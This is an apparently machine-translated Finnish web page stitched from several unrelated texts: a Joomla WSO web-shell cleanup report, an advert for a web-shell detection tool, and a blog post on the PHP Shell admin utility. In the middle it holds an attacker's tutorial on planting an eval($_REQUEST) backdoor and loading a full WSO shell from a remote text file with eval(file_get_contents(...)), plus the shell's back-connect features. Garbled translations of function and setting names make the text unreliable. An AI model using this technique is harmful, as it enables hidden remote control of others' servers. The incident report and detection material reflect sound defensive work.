PHPShell on PHP-skripti, jonka avulla voit suorittaa komentotulkkikomentoja verkkopalvelimella. Kuinka AntiShell Web Shell Hunter auttaa sinua löytämään haitallisia web-kuoret Web-kuori, joka varastaa php-tiedostoja

Haitallinen WSO PHP -komentosarja havaittiin /libraries/simplepie/idn/OpenIDOpenID.php (Joomla! 3 -sivusto). Tällä hetkellä vain jotkin virustentorjuntaohjelmat, kuten JS/SARS.S61, PHP:Decode-DE, Trojan.Html.Agent.vsvbn, PHP.Shell.354, php.cmdshell.unclassed.359.UNOFFICIAL, havaitsevat sen.

Eräänä "ihanana" päivänä eräs asiakkaistamme (http://ladynews.biz) sai seuraavan viestin skannattuaan verkkosivustonsa isännöintiviruksentorjuntaohjelmalla:

Tililtäsi havaittiin haitallista sisältöä sisältäviä tiedostoja. Suosittelemme, että rajoitat pääsyä FTP-tiliisi vain käyttämistäsi IP-osoitteista ja käytät myös virustorjuntaa tilisi virusten tarkistamiseen. Lue artikkeli Turvallisuus- ja hakkerointisuositukset uusiutuvien tartunnan estämiseksi.

Tietenkin ehdotettiin tämän häpeän käsittelemistä - skannaus tavallisella ClamAV-viruksentorjuntaohjelmalla, jossa on joukko oletusarvoisia virustorjuntatietokantoja, ei antanut lisätuloksia.

Tämän tarinan alkaessa (23.10.2015) tätä virusten komentosarjaa ei ollut useimpien virustentorjuntatietokannassa, mukaan lukien sellaiset "hirviöt" kuten Comodo, DrWeb, ESET-NOD32, GData, Kaspersky, McAfee, Microsoft, Symantec, TrendMicro jne., minkä myös VirusTotal-verkkoskanneri vahvisti 23.10.2015. Vain muutama virustorjunta pystyi havaitsemaan haitallisen PHP-skriptin:

Virustorjunta Tulos Päivityspäivämäärä AhnLab- V3 JS/SARS. S61 20151022 Avast PHP: Decode- DE [Trj] 20151023 NANO - Antivirus Troijalainen. HTML. Agentti. vsvbn 20151023

Samana päivänä ClamAV ja Dr.Web saivat ilmoituksen haitallisen skriptin havaitsemisesta. ClamAV on edelleen itsepintaisesti hiljaa, mutta Dr.Web vastasi haitalliseen pakettiin 24 tunnin sisällä:

Pyyntösi on analysoitu. Vastaava merkintä on lisätty Dr.Web virustietokantaan ja se on saatavilla seuraavan päivityksen yhteydessä.

Uhka: PHP.Shell.354

Dr.Web piti lupauksensa ja virusskripti OpenIDOpenID.php tunnistetaan nyt nimellä PHP.Shell.354, mutta monet virustorjuntaohjelmat, kuten ClamAV, Comodo, DrWeb, ESET-NOD32, GData, Kaspersky, McAfee, Microsoft, Symantec, TrendMicro , jne. jne., heillä ei vieläkään ole aavistustakaan siitä (2015-10-25).

Ok, poistimme tiedoston, mutta kuinka kauan? Mistä se tuli, voimme vain arvailla. Mitä seuraavaksi? Aloitamme kaikenlaisten Securitycheck-komponenttien asentamisen ja määritämme .htaccessissa sääntöjä, jotka estävät pääsyn kaikkeen ja kaikkiin, koska jaetun isännöinnin (alias Virtual hosting, jaettu isännöinti) osalta meillä ei ole valtuuksia tehdä enempää. Kukaan ei tiedä, kuinka kauan nämä toimenpiteet säästävät meidät.

Muuten, kaikenlaisista Securitycheck-komponenteista... Securitycheck on Joomla! ja aika hyvä. Mutta on olemassa tietty "Antivirus Website Protection", joka on täyttä paskaa, jota suosittelen lämpimästi, ettei kukaan käytä. Tässä on käytännössä vahvistettu katsaus tästä "Virustorjuntasivustosuojauksesta":

Tämä komponentti luo myös /tmp-kansioon pack.tar-tiedoston, joka sisältää konfiguraatiosi.php:n ja muut löydetyt salasanat! OLE VARUILLASI

Mikä käännettynä tarkoittaa: "tämä komponentti luo myös varmuuskopion koko sivustosta tiedostoon /tmp/pack.tar, joka sisältää konfiguraatio.php:n tietokannan salasanoilla" - tämä osoittaa, että "Website Protection" on tästä komponentti ja se ei haise, minkä pitäisi myös saada uhri miettimään polkujen vaihtamista /logs-, /tmp-, /cache-hakemistoihin ja pääsyn estäminen niihin.

Napsauttamalla tätä linkkiä voit ymmärtää, että ongelma on ainakin yli vuoden vanha. Tarkasteltaessa tätä ymmärrämme, että komentotulkkikomentosarjan peittämistä ei tee hankala base64_encode/gzdeflate , mikä tarkoittaa, että jossain täytyy silti olla osa, joka kutsuu/yhdistää OpenIDOpenID.php:n ja suorittaa base64_decode/gzinflate . Tämä tarkoittaa, että OpenIDOpenID.php on vain seuraus (eli seuraus), eikä syy, jossa uhri valittaa, että palvelimelta on alettu lähettää roskapostia teollisessa mittakaavassa, eikä haitallisten tiedostojen manuaalinen poistaminen auta, kun jota uhri valittaa siitä, että NIC-RU ei isännöi ketään muuta. "Vuotava" virtuaalinen hosting voi olla erittäin hyvä. jopa usein, IMHO, ihmiset työskentelevät siellä palkan, eivätkä idean takia, mutta joissain tapauksissa ongelma voi olla paljon syvempi.

Esimerkiksi "Adobe Flash -tiedostossa havaittiin haitallinen iFrame-injektori." Mielestäni ei ole mikään salaisuus, että voit kirjoittaa Flashissa käyttöliittymiä tiedostojen lataamiseen verkkosivustolle ja tehdä monia muita mielenkiintoisia asioita ActionScriptillä. Virus .swf-tiedostoissa (Adobe Flash), kuten käytäntö on osoittanut, voi pysyä havaitsematta vuosia ja olla takaovi verkkosivustolle ( eli takaovi - takaovi), jonka kautta tiedostot, kuten "OpenIDOpenID.php", "heitetään sisään" ja ne voidaan poistaa, kunnes olet sinisilmäinen ja turhaan.

Mitä tehdä, kuinka löytää "heikko lenkki" tuhansien tiedostojen joukosta? Tätä varten sinun on käytettävä niin kutsuttua heuristista analyysiä ja joissakin tapauksissa käytettävä kolmannen osapuolen virustorjuntatietokantoja. On otettava huomioon, että heuristinen analyysi voi sen asetuksista riippuen antaa monia vääriä positiivisia tuloksia kuin käytettäessä ylimääräisiä virustunnisteita kolmannen osapuolen kehittäjiltä.

Mistä saan kolmannen osapuolen virustorjuntatietokantoja? Esimerkiksi kolmansien osapuolien ClamAV-kehittäjien virustorjunta-allekirjoituksia sisältäviä tietokantoja voi hankkia ilmaiseksi seuraavista osoitteista: www.securiteinfo.com, malwarepatrol.net, rfxn.com. Miten näitä ylimääräisiä virustorjuntatietokantoja käytetään? Tästä tulee täysin erilainen tarina. Voimme vain sanoa, että ClamAV:lle lisätyt virustorjuntatietokannat rfxn.com-sivustolta (LMD (Linux Malware Detect) -projekti) on tarkoitettu etsimään haittaohjelmia erityisesti verkkosovelluksista ja tuottamaan parempia tuloksia. rfxn.com toteaa myös, että 78 prosenttia uhista, joiden sormenjäljet ​​ovat heidän tietokannassaan, eivät havaitse yli 30 kaupallista virustorjuntaohjelmaa - ja todennäköisesti näin on.

Joten... Miten haitallisen PHP-komentotulkkikomentosarjan OpenIDOpenID.php tarina päättyi?

Päätettiin hankkia lisää virustorjuntatietokantoja ClamAV:lle osoitteesta malwarepatrol.net ja rfxn.com, ladata varmuuskopiot sivuston tiedostoista ja skannata ne paikallisesti. Tässä on tarkistuksen tulos:

$ clamscan / ladynews.biz / ../ game_rus.swf: MBL_647563.UNOFFICIAL FOUND / ../ farmfrenzy_pp_rus.swf: MBL_647563.UNOFFICIAL FOUND / ../ beachpartycraze_rus.swf..OFF. rus.swf: MBL_647563.UNOFFICIAL FOUND / ../ loader_rus.swf: MBL_647563.UNOFFICIAL FOUND ----------- SKANNAUS YHTEENVETO ----------- Tunnetut virukset: 4174348 Moottoriversio: 0.98 Skannatut hakemistot: 3772 Skannatut tiedostot: 18283 Tartunnan saaneet tiedostot: 5 Virheet yhteensä: 1 Skannatut tiedot: 417,76 Mt Luettu data: 533,51 Mt (suhde 0,78 : 1) Aika: 1039,768 s (17 m 19 s)

/libraries/simplepie/idn/OpenIDOpenID.php Kuten yllä mainitut .swf-tiedostot, ne poistettiin, mutta ratkesiko ongelma? Vaikea sanoa toistaiseksi, mutta kaivetaan lisää...

Tiedoston salauksesta puretusta versiosta /libraries/simplepie/idn/OpenIDOpenID.php(http://pastebin.com/WRLRLG9B) katsomalla vakiota @define("WSO_VERSION", "2.5"); , käy selväksi, että tämä on eräänlainen tuote nimeltä WSO. Kaivattuaan vähän verkkoa WSO-avainsanalla, saatiin seuraavat tulokset:

Kävi ilmi, että aihe ei ole pitkään aikaan uusi, joten otetaan regexxer tehtävään, jatketaan sivuston tiedostojen kaivaamista ja löydetään: Virhe avattaessa hakemistoa "/home/user/libraries/joomla/cache/controller/cache": Pääsy evätty

Joo, tässä olet, minne muualle se on kadonnut! Tarkastelemme hakemiston oikeuksia, joiden ei pitäisi olla siellä oletuksena = chmod 111 (alias Run for Owner/Group/All). Siten jokin istuu jossain ja hajottaa itsensä luetteloiden läpi piiloutuen jopa viruksilta chmod 111:n avulla.

Asentuttuaan chmod 551:n luetteloa varten ja katsottuaan sisälle, se löytyi /libraries/joomla/cache/controller/cache/cache/langs.php, jonka lähdekoodi on julkaistu täällä: http://pastebin.com/JDTWpxjT - hakemisto /libraries/joomla/cache/controller/cache poistaa.

Hienoa, laitetaan nyt chmodit järjestykseen kaikille tiedostoille ja hakemistoille:

# massamuutos oikeuksista (chmod) tiedostoille hakemistossa./dirname ja taustalla oleville tiedostoille etsi / home/ user/ public_html -type f -exec chmod 644 ( ) \; # v./dirname- ja taustalla olevien oikeuksien (chmod) massamuutos etsi / home/ user/ public_html -type d -exec chmod 755 ( ) \;

Toistamme virustorjuntatarkistuksen vielä kerran ylimääräisillä clamscan /ladynews.biz -tietokannoilla, mutta oletettavasti kaikki on puhdasta.

Toistamme tiedostojen haun regexxerillä ja yritämme etsiä avainsanoilla OpenIDOpenID, OpenID tai WSO - ja tulemme siihen tulokseen, että ongelma osoittautui paljon laajemmaksi ja syvemmäksi:

• - sen ei pitäisi olla täällä, tässä on sen lähde: http://pastebin.com/jYEiZY9G
• /administrator/components/com_finder/controllers/imagelist.php- sen ei pitäisi olla täällä, tässä on sen lähde: http://pastebin.com/0uqDRMgv
• /administrator/components/com_users/tables/css.php- sen ei pitäisi olla täällä, tässä on sen lähde: http://pastebin.com/8qNtSyma
• /administrator/templates/hathor/html/com_contact/contact/toolbar.trash.html.php- sen ei pitäisi olla täällä, tässä on sen lähde: http://pastebin.com/CtVuZsiz
• /components/com_jce/editor/tiny_mce/plugins/link/img/Manager.php- sen ei pitäisi olla täällä, tässä on sen lähde: http://pastebin.com/2NwTNCxx
• /libraries/joomla/application/web/router/helpsites.php- sen ei pitäisi olla täällä, tässä on sen lähde: http://pastebin.com/ANHxyvL9
• /plugins/system/ytshortcodes/XML.php- sen ei pitäisi olla täällä, tässä on sen lähde: http://pastebin.com/GnmSDfc9
• /templates/index.php - sen ei pitäisi olla täällä, tässä on sen lähde: http://pastebin.com/gHbMeF2t

/administrator/components/com_admin/index.php ja /templates/index.php olivat luultavasti syötettyjä komentosarjoja, jotka suorittivat pääkoodin käyttämällä erittäin masentunutta eval()-funktiota, joka käytti myös:

No, haitallisen koodin peittämisen logiikka on selvä. Jos nyt etsimme "eval($") -konstruktiota, löydämme paljon mielenkiintoisempia asioita:

• /administrator/components/com_admin/sql/updates/postgresql/php.php- http://pastebin.com/gRHvXt5u
• /components/com_kunena/template/blue_eagle/media/iconsets/buttons/bluebird/newsfeed.php -
• /components/com_mailto/helpers/index.php -
• /components/com_users/views/login/file.php -
• /components/com_users/controller.php- tartunnan saanut ja vaatii vaihdon!,
• /includes/index.php -
• /libraries/joomla/string/wrapper/section.php -
• /libraries/legacy/access/directory.php -
• /libraries/nextend/javascript/jquery/InputFilter.php -
• /libraries/nextend/smartslider/admin/views/sliders_slider/tpl/config_tinybrowser.php -
• /libraries/xef/assets/less/admin.frontpage.php -
• /media/editors/codemirror/mode/rust/Alias.php -
• /modules/mod_kunenalatest/language/zh-TW/smtp.php -
• /modules/mod_kunenalogin/language/de-DE/XUL.php -
• /plugins/content/jw_allvideos/jw_allvideos/includes/js/mediaplayer/skins/bekle/CREDITS.php -
• /templates/sj_news_ii/html/mod_sj_contact_ajax/toolbar.messages.php -

Kaikilla virusperäisillä PHP-skripteillä ei ole koodia, joka on julkaistu pastebin.com-sivustolla, koska vain 10 julkaisua sallitaan 24 tunnin sisällä. Yleensä poistomenettely on suunnilleen seuraava:

Kyllä, melkein unohdin - ennen kuin aloitan haitallisten komentosarjojen poistamisen, ei haittaisi lisätä useita sääntöjä .htaccess-tiedostoon, jotka estävät suoran pääsyn .php-tiedostoihin missä tahansa hakemistossa, mutta sallivat pääsyn vain juuritiedostoihin / tai /index .php ja /administrator/ tai /administrator/index.php - tämä estää ei-toivotun hyökkääjän pääsyn eri järjestelmähakemistoihin piilotettuihin saapuviin shell-skripteihin:

UPD 2015-10-28: No, mitä? Oletko jo rentoutunut? On liian aikaista...

Katsotaanpa nyt sivustotiedostojen viidakosta binääritiedostoja, joita ei pitäisi olla koneessa:

find / mypath/ -executable -type f find / mypath/ -type f -perm -u+x find / mypath/ -type f | xargs-tiedosto | grep "\:\ *data$"

Se, joka etsii, löytää aina (binääritiedostot):

• /modules/mod_p30life_expectancy_calc/tmpl/accordian.pack.js
• /images/stories/audio/34061012-b1be419af0b9.mp3
• /libraries/xef/sources/folder/navigation.php
• /libraries/joomla/application/web/application.php
• /libraries/joomla/document/json/admin.checkin.php
• /libraries/nextend/assets/css/LICENSES.php
• /libraries/fof/config/domain/toolbar.categories.html.php
• /libraries/fof/form/field/client.php
• /libraries/phputf8/sysinfo_system.php
• /components/com_mobilejoomla/index.php
• /components/com_mobilejoomla/sysinfo_system.php
• /components/index.php
• /components/com_banners/sysinfo_config.php
• /components/com_kunena/views/home/admin.checkin.php
• /components/com_jce/editor/tiny_mce/plugins/source/js/codemirror/toolbar.checkin.php
• /components/com_jce/editor/tiny_mce/plugins/colorpicker/admin.cache.php

Tehdään yhteenveto

Ei voitu luotettavasti määrittää, mistä tämän tartunnan jalat ovat peräisin - onko syynä moottorista hiljattain löydetty kriittinen haavoittuvuus, joka mahdollistaa SQL-lisäyksen ja oikeuksien eskaloinnin, vai edellä mainitut haitallisiksi merkityt .swf-tiedostot vai jotain, jota ei ole vielä löydetty - kolmannen osapuolen komponenttien tai lisäosien haavoittuvuus tai vuotava virtuaalinen web-hosting - kysymys jää avoimeksi?

Tällä hetkellä havaitut haitalliset tiedostot on puhdistettu, moottoritiedostot on ladattu kokonaan uudelleen, barrikadeja on rakennettu .htaccessin säännöillä... Ne, joilla on aikaa ja kiinnostusta koota ja kaivaa tämä kasa voi ladata arkiston wso-php-shell-in-joomla.zip - kaikki yllä mainitut haitalliset PHP-tiedostot on pakattu sinne, arkiston salasana on: www.site

YHTEENSÄ: Ei ole olemassa liikaa vainoharhaisuutta, ja mikä tahansa ilmainen tai kaupallinen virustorjunta heuristikoineen ja lisätietokantoineen ei ole mikään ihmelääke. Siksi kaikki virustorjuntaohjelmat ovat vanhentunut työkalu aktiivisen monikäyttäjäympäristön suojaamiseen ja erilaisten tuntemattomien uhkien estämiseen, vainoharhaisia ​​suojausmenetelmiä tulisi käyttää, esim. virtualisointi, SELinux, Bastille Linux, muuttumaton bitti, ecryptfs jne!

• Uhka: WSO PHP -verkkokuori
• Uhri: ladynews.biz

Suurin osa yrityksen resursseihin kohdistuvista hyökkäyksistä liittyy web-shell-koneiden käyttöönottoon - koodiin, jonka avulla voidaan hallita koneita verkon ulkopuolelta. AntiShell Web Shell Hunter on suojaustyökalu, joka sisältää koko joukon mekanismeja web-kuorien tunnistamiseen.

Web shell on komentosarja, joka ladataan palvelimelle ja jota käytetään etähallintaan. Siitä tulee haitallinen vasta, kun hyökkääjä hallitsee sitä. Ja tässä tapauksessa hän muodostaa vakavan uhan.

Tartunnan saaneen palvelimen ei tarvitse olla yhteydessä Internetiin - se voi sijaita yrityksen sisäisessä verkossa. Web-kuorta käytetään sitten pääsyyn muihin isänteihin, joilla on tärkeitä sovelluksia tai tietoja.

Käytä mitä tahansa kohdeverkkopalvelimen tukemaa kieltä kirjoittaaksesi web-kuoret. Käytännössä PHP ja ASP ovat yleisimmin käytössä, koska ne ovat suosituimpia. Perl-, Ruby-, Python- ja Unix-kuorilla kirjoitetut haittaohjelmat ovat myös yleisiä.

Web-suojat asennetaan melko tavallisella tavalla haitallisille sovelluksille - käyttämällä CMS- tai verkkopalvelinohjelmiston haavoittuvuuksia. Sen jälkeen ne toimivat takaovina, jolloin hyökkääjä voi suorittaa mielivaltaisia ​​komentoja etäkoneella, mukaan lukien lunnasohjelmien tuominen tai hyökkäysten käynnistäminen muihin palvelimiin.

Rainakuorien erityinen vaara piilee niiden suhteellisen yksinkertaisuudessa. Skriptin muokkaaminen eri ohjelman tuottamiseksi on tehtävä, jonka jopa aloittelija pystyy käsittelemään. Tästä laadusta johtuen tavallisten virustentorjuntatyökalujen avulla on vaikea havaita web-kuoret.

Kuten muutkin haittaohjelmat, verkkojen kuoret voidaan tunnistaa useiden ulkoisten ominaisuuksien perusteella. Merkittävä osa niistä voi kuitenkin liittyä myös täysin laillisiin tiedostoihin, joten mahdollisia epäilyttäviä indikaattoreita on tarkasteltava kokonaisuutena, analysoimalla kokonaiskuvaa, ei sen fragmentteja.

Mahdollisia indikaattoreita web-kuoren olemassaolosta palvelimella voivat olla:

• epätavallisen korkean palvelimen kuormituksen jaksot;
• tiedostojen olemassaolo, joissa on epäilyttävä aikaleima (esimerkiksi myöhempi kuin viimeinen ohjelmistopäivitys);
• epäilyttävien tiedostojen esiintyminen paikoissa, joihin pääsee Internetistä;
• tiedostot, jotka sisältävät linkkejä cmd.exe-, eval- ja vastaaviin tiedostoihin;
• epäilyttäviä valtuutuksia sisäisestä verkosta;
• tiedostot, jotka tuottavat heille epätavallista liikennettä.

On selvää, että "manuaalinen" analyysi tässä tapauksessa, vaikka mahdollista, vaatii liian paljon henkilöresursseja, joten sen käyttö on vailla käytännön tarkoituksenmukaisuutta. Garhi Technologyn kehittämä AntiShell Web Shell Hunter -ohjelma mahdollistaa tämän toimenpiteen automatisoinnin, ja sen kehittäjät väittävät, että se tunnistaa taatusti kaikki tunnetut verkkokuoret.

Sovellus perustuu seuraaviin teknologioihin:

• haku avainsanoilla. Kaikki tiedostot tarkistetaan sanojen ja komentojen varalta, jotka voivat liittyä hyökkäykseen.
• allekirjoitusanalyysi: etsi tunnettujen web-kuorien allekirjoituksia;
• pisimpien rivien analyysi. Usein haitallinen koodi salataan siten, että se ohittaa avainsanahaut. Tämä tekee koodiriveistä erityisen pitkiä, mikä tekee niistä havaittavissa;
• Shannonin entropian laskeminen lähdekoodissa. Jokaiselle koodiriville on annettu luokitus, jonka perusteella uhan aste voidaan arvioida;
• etsi haitallista koodia hakuindeksimenetelmällä.

Tämä ratkaisee yhden web-kuorien havaitsemisen tärkeimmistä ongelmista, joka liittyy käytettyjen kielten monimuotoisuuteen ja helpon muokkauksen mahdollisuuteen. Nämä tekijät eivät vaikuta AntiShell Web Shell Hunterin toimintaan, mikä tekee siitä universaalin ja sitä voidaan käyttää minkä tahansa palvelimen suojaamiseen.

Koska tiedostot, joita ei ole muokattu edellisen tarkistuksen jälkeen, jätetään käsittelyn ulkopuolelle, AntiShell Web Shell Hunter ei aiheuta suurta kuormitusta palvelimelle. Lisäksi tämä lähestymistapa lyhentää varmistusaikaa.

Samalla järjestelmänvalvojat voivat itsenäisesti asettaa skannausajan palvelimen kuormituksen päivittäisten vaihteluiden perusteella. Päivittäinen tila korvataan tarvittaessa viikoittain tai jopa kuukausittain, jolloin voit optimoida koko järjestelmän toiminnan.

Ohjelma havaitsee tiedostot, jotka sisältävät web shell -koodin ja antaa järjestelmänvalvojalle täydelliset tiedot objektista: luontipäivämäärä ja -aika, omistajan nimi, oikeudet ja niin edelleen.

Kaikki nämä tiedot (mutta eivät itse tiedostot) menevät myös kehittäjäyrityksen asiakaskeskukseen, joka voi sen perusteella tarjota tukea tapahtuman käsittelyssä ja sen seurausten selvittämisessä. Maksullisen palvelun tilaaneet asiakkaat voivat myös käyttää erityistä apuohjelmaa ladatakseen itse tartunnan saaneet tiedostot jatkoanalyysiä varten.

Viestit löydetyistä kohteista lähetetään järjestelmänvalvojalle sähköpostitse. Hänen ei tarvitse henkilökohtaisesti seurata prosessia.

Nykyään AntiShell Web Shell Hunter on ainoa työkalu, joka on keskittynyt erityisesti verkkokuorten havaitsemiseen. Useat virustorjuntasovellukset sisältävät samanlaisen ominaisuuden, mutta vain lisävaihtoehtona, joka on oletuksena ei-aktiivinen. Yleensä ne luottavat yksinomaan allekirjoitusanalyysiin, joten niiden tehokkuus jättää paljon toivomisen varaa.

Kun web-shell-koneiden käyttö palvelimien hyökkäämiseen yleistyy, on järkevää suojata järjestelmä erikoistuneella ratkaisulla. Kuten he sanovat, turvallisuutta ei voi koskaan olla liikaa.

Ei aivan artikkeli, mutta siitä on hyötyä monille. Joten pääsimme hallintapaneeliin, pystyimme lopulta työntämään seuraavan koodin jonnekin, esimerkiksi:

if (isset($_REQUEST["e"])) eval(strislashes($_REQUEST["e"]));

tai yksinkertaisesti:

assert(viivaviivat($_REQUEST));

vinoviivat tässä tapauksessa ovat vain ohittamaan magic_quotes=ON
Monet ihmiset lisäävät

järjestelmä($_GET["cmd"])

Ja muita häpeää, mutta tämä kaikki on tarpeetonta, itse asiassa kaikki on yksinkertaisempaa. Joten, olet lisännyt tämän koodin jonnekin (faq.php:hen, tai sinulla on jo jonkinlainen takaovi jossain palvelimen skriptien syvyyksissä).
Nuo. Tämän seurauksena sait esimerkiksi seuraavan linkin:

http://localhost/user.php?e=phpinfo();

Ja tämän jälkeen monet aloittelijat ovat hämmästyneitä. Välittömästi seuraava kysymys on - mitä tehdä seuraavaksi?
Katsotaanpa tarkemmin tätä phpinfoa, joka osoitti meille kaksi tärkeintä kohtaa, joista olemme kiinnostuneita tässä tilanteessa:

salli_url_fopen
salli_osoite_sisällytä

salli_osoite_sisällytä

Kyllä, se on tietysti vaikeaa, mutta yleensä se on pois päältä.

Jäännökset

Ja se yleensä = PÄÄLLÄ. Kuinka voimme käyttää tätä järjestelmänvalvojan piittaamattomasti jättämää tilaisuutta, jotta emme murehdi liikaa (emme etsi kirjoitettavia kansioita ja keksi vastaavia hölynpölyjä, eikä yleensä täytä kuorta sellaisenaan, vaan kiivetä palvelimen ympäri ikään kuin kuori olisi jo tulvinut). Kyllä, hyvin yksinkertaista. Jos

allow_url_fopen = PÄÄLLÄ

Ja sinulla on koodi, joka näyttää ainakin, että olet jo lukenut kaikki asetukset, yhdistänyt kaiken tarvitsemasi jne. (ei pidä sekoittaa "repimään", vain se, mitä voidaan lukea)

Otamme viimeisimmän kuoren rakkaalta orb, poista ensimmäinen rivi:

+
poista viimeinen
+
voit poistaa salasanan, emme täytä kuorta, käytämme sitä poistumatta

tallenna mille tahansa isännälle nimellä bla_bla.txt(sama narod.ru on varsin sopiva) tai kuvan muodossa tiedostojen isännöintipalvelussa, joka tarjoaa suoria linkkejä sisällön lataamiseen ja seuraavan pyynnön esittämiseen:
Koodi:

http://localhost/user.php?a=eval(file_get_contents("http://site.ru/bla_bla.txt"));

Kaikki. Sinulla on täysimittainen kuori lataamatta sitä fyysisesti palvelimelle kaikilla tavanomaisilla shell-ominaisuuksilla. Kiitos huomiostasi
PS: testattu WSO2.4:llä ( wso2_pack.php)

Kuoren kuvaus:
Valtuutus
Palvelimen tiedot
Tiedostonhallinta (kopioi, nimeä uudelleen, siirrä, poista, chmod, kosketa, luo tiedostoja ja kansioita)
Tarkastele, hexview, muokkaa, lataa, lataa tiedostoja
Työskentely zip-arkistojen kanssa (pakkaus, purkaminen)
Konsoli
SQL Manager (MySql, PostgreSql)
PHP-koodin suorittaminen
Työskentely merkkijonojen kanssa + hajautusten etsiminen online-tietokannoista
Bindport ja takaisinkytkentä (Perl)
Tekstin etsiminen tiedostoista
*nix/Windows
Siruista
Hakukoneen esto (User-Agent on valittuna, jos se on hakukone, palautetaan 404-virhe)
Konsoli muistaa syötetyt komennot. (voit selata niitä ylä- ja alanuolinäppäimillä, kun tarkennat syöttökenttään)
Voi käyttää AJAXia
Kevyt (24,32 kt)
Koodauksen valitseminen, jossa komentotulkki toimii.

Tämä apuohjelma tarjoaa verkkokäyttöliittymän käyttöjärjestelmän ja sen palvelujen/demonien etätyöskentelyyn.
Tämän tuotteen käyttö laittomiin tarkoituksiin voi johtaa rikosoikeudelliseen vastuuseen.

Arkisto sisältää komentotulkin uusimman version ja pienen WSOmanager-työkalun komentotulkkien kanssa työskentelemiseen.

Lataa kuori:

Äskettäin törmäsin Internetin laajalla alueella maininnan " PHP Shell". Pari vuotta sitten tämä apuohjelma auttoi minua paljon ja nyt haluan maksaa eräänlaisen velan sen kehittäjälle Martin Geislerille (http://mgeisler.net/).

Mikä on "PHP Shellin" tarkoitus? Uskon, että jokainen "edistynyt" web-ohjelmoija, puhumattakaan järjestelmänvalvojista, on kohdannut ja käyttänyt SSH:ta. SSH antaa meille mahdollisuuden päästä etäkäyttöön palvelimelle ja suorittaa siinä komentotulkkikomentoja (no, on olemassa kaikenlaisia ​​komentoja, kuten käveleminen hakemistoissa edestakaisin, ylös ja alas, siirtäminen, tiedostojen poistaminen ja kopioiminen, komentosarjojen suorittaminen ja kaikenlaisia näppärät apuohjelmat), ikään kuin järjestelmäyksikön näyttöön johtava johto olisi venynyt uskomattomiin mittoihin ja ulottunut aina isännöintipalvelimelle asti. On sanottava, että on mahdollista tunneloida ssh- ja X-grafiikka, työpöytäkuva, joka näyttää käynnissä olevat ikkunalliset sovellukset, mutta tämä ei selvästikään sovellu web-palvelimille.

Sanalla sanoen, jos isännöinnilläsi ei ole SSH:ta, niin "mikä Tanskan valtakunnassa on vialla". Haittapuolena on, että usein SSH on oletusarvoisesti poissa käytöstä "tuoreella" sivustollasi, ja ssh:n saaminen toimiin vaatii jonkin verran väittelyä tuen kanssa. Juuri näin tapahtui sinä kaukaisena talvi-iltana. Piti kiireesti siirtää nettisivut koneelta toiselle, jonka aikana ilmeni ongelmia, ja tutkailin työpöydällä olevaa kittipikakuvaketta nähdäkseni mitä potilaan "sisällä" on. Hups... mutta ssh-tuki ei ole aktivoitu. Mitä minun pitäisi tehdä? Jos olet melko kokenut ohjelmoinnissa jollakin kielellä, ei ole vaikea kirjoittaa pientä komentosarjaa, joka toteuttaa halutun tehtävän. Avasin Googlen ja muutaman linkin läpi käytyäni löysin maininnan PHP Shellistä. Sanalla sanoen, menin kotiin ajoissa.

Totta puhuen, olin hyvin onnekas, että sain tarpeekseni PHP Shellin minulle tarjoamista kuoriutuneista ominaisuuksista - se on loppujen lopuksi sen jäljitelmä.

PHP Shell käyttää periaatteessa php-funktiota proc_open. Tämä toiminto suorittaa tietyn komennon ja avaa I/O-virrat syöttääkseen tietoja sovellukseen (simuloimalla manuaalista syöttöä ikään kuin näppäimistöllä) ja tulostaakseen työn tulokset (jos tiedät mitä putket ovat, niin puhumme heistä). Pohjimmiltaan proc_open-funktio on parannettu ja laajennettu versio exec- tai järjestelmätoiminnoista. Ne kuitenkin vain käynnistivät ohjelman, eivätkä antaneet mahdollisuutta olla vuorovaikutuksessa sen kanssa, sinun piti heti määrittää komentorivin parametreihin kaikki komennon toimimiseen tarvittavat tiedot. proc_open antaa sinun luoda putkia, jotka liittyvät PHP-skriptiisi, ja vastaavasti voit simuloida tietojen syöttämistä ohjelmaan ja lukea sen työn tuloksia. Ilmaisen isännöinnin ystäville sanon heti:

"EI, ET VOI KÄYTÄ SSH:ta PHP Shellillä."

Tosiasia on, että ilmaista tai erittäin halpaa isännöintiä varten on yleistä käyttää PHP:tä safe_mode-tilassa. Useita toimintoja on poistettu käytöstä siinä, mukaan lukien proc_open.

"EI, ET VOI TYÖSTÄ INTERAKTIIVISTEN OHJELMIEN KANSSA PHPSHELLIN KANSSA."

Webin ydin kertoo meille, että etäpalvelimella ei ole mahdollista ajaa jotakin ohjelmaa, joka jatkaisi toimintaansa ja antaisi meille mahdollisuuden syöttää ja tulostaa tietoja useiden erillisten http-pyyntöjen kautta.

"EI, ET VOI KÄYTÖSSÄ KAIKKIIN PALVELIN OHJELMIHIN, TIEDOSTOIHIN JA KANSIJOIHIN."

Komentosarja joko toimii apachen puolesta ja sitten sen ominaisuuksia rajoittaa vain se, mitä apache-tilillä on oikeudet. Tai vaihtoehtoisesti, jos isännöinti käyttää suexecia (http://en.wikipedia.org/wiki/SuEXEC), oikeutesi ovat samat kuin sen tilin oikeudet, josta php-skripti käynnistetään.

Oletetaan, että tämä ei estänyt sinua, ja latasit ja purit palvelimellasi olevan arkiston kansioon, esimerkiksi phpshelliin. Jos kirjoitat selaimesi osoiteriville "mikä-on-sivustosi-nimi/phpshell/phpshell.php", sinua pyydetään esittelemään itsesi, antamaan nimesi ja salasanasi - nämä eivät tietenkään ole valtuustietoja jonka sait isännöitsijältäsi

Joten sinun on määritettävä käyttöoikeudet: kuka voi käyttää kuorta tämän apuohjelman kautta. Voit tehdä tämän etsimällä config.php-tiedostosta käyttäjät-osion ja lisäämällä siihen käyttäjänimen ja salasanan seuraavassa muodossa:

Vasyano = salaisuus

Jos olet hämmentynyt siitä, että salasana on asetettu tekstinä, pwhash.php-tiedoston avulla voit selvittää salasanan md5-version ja se tallennetaan config.php-tiedostoon.

Yritämme nyt kirjautua uudelleen sisään ja löydämme itsemme ikkunasta, jossa kirjoitamme komennon ikkunan alareunaan, napsautamme "suorita" ja sitten sen suorituksen tulos näkyy sivuikkunan keskellä.

Siinä kaikki, ehkä phpshell auttaa sinua jotenkin.